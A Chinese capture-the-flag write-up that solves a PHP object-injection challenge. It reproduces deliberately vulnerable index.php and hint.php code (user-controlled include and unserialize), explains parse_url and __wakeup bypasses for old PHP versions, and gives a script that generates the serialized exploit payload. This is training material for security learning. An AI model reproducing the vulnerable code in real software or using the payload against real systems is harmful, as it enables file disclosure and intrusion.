虽然本蒟蒻只写出了这一道题,但毕竟是我第一个写出的比赛题(虽然有大佬帮助才写出来的)。写写wp总结一下吧。

源码

由于环境已经没有了,就简单说一下源码怎么来的吧。
题目中有提示:

<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->

于是想到 PHP伪协议,得到源码如下:

hint.php源码

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }
    
    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?>

index.php源码

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

分析

拿到源码看一眼就知道这个是反序列化漏洞。通过反序列化来调用Handle__destruct函数,然后getflag。剩下的就是找到过滤了哪些东西,然后怎么绕过去。

仔细观察源码,可以看到这里有三个地方需要绕过:

  1. 通过 parse_url 来获取payload的值,然后过滤flag字符;
  2. Handle的 __wakeup 函数会清空 handle 变量;
  3. Flag 对象里面的 token_flag 在 get_flag 函数里面会被赋值为一个随机数的 MD5 值,而 flag 和 token_flag 相等才会输出flag。

那么来看看怎么绕过。

  1. parse_url 在 PHP5.4.7 之前有一个漏洞:只要在URL前面加上两个 // 就会使其返回 False。具体参考这里
  2. 这里可以利用反序列化注入漏洞绕过。在 PHP5 < 5.6.25 PHP7 < 7.0.10 的情况下,反序列化传入字符串中声明的变量个数与实际不符合的话,__wakeup 就会被绕过。具体可以参考这里
  3. 这个地方有两种方法可以过。最简单的当然是暴力啦~只要你够欧,一次就绕过(雾)。好吧这里应该是让 token 等于 token_flag 的引用。这样两个就肯定相等啦。

Payload

绕过点都分析了,那么就是实际操作了:

<?php

class Handle{
    private $handle;
    public function __wakeup(){                                          
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true);
            }
        }
    }
}

$a = new Flag('flag.php');
$a->token = &$a->token_flag;
$b = new Handle($a);

$c = urldecode(serialize($b));
echo $c;

得到序列化后的Payload,再通过上面的绕过方法,就可以成功 get flag 了。

最后修改:2019 年 06 月 10 日
如果觉得我的文章对你有用,请随意赞赏